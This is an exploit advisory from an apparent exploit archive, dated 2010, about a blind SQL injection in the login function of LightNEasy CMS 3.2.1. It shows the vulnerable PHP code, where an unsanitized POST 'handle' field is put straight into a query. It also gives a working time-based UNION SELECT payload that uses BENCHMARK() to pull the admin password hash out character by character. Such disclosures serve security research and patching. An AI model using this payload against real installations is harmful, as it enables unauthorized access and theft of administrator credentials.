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LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability

Author
Solidmedia
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-14136
Category
web applications
Date add
21-09-2010
Platform
php
======================================================
LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
======================================================

# Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
# Date: 20.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://www.lightneasy.org/
# Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127
# Version: 3.2.1
# Special Thanks to: Dominik Landtwing
  
  
[ Vulnerability]
 
# Vulnerable Code:
 
common.php line 112-148
 
function login() {
    global $message, $set, $langmessage, $prefix;
    if($_SESSION[$set['password']]!="1") {
    if($_GET['do']=="login" && $_POST['handle']!="") {
        $result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
        if($row = fetch_array($result)) {
            if($row['password'] == sha1($_POST['password'])) {
                    ...
 
}}}}}
  
# Explanation:
 
$_POST['handle'] isn't sanitized before executing the database query.
 
 
Since the only user after a fresh install is the admin-user with id 1 and
a normal visitor can't register we have to retrieve the admin hash by using benchmark().
 
# Exploiting the Vulnerability // PoC:
 
URL: http://localhost/LNE/LightNEasy.php?do=login
 
Postdata:
 
handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login
 
This will trigger benchmark() if the first character of the admin hash is b.



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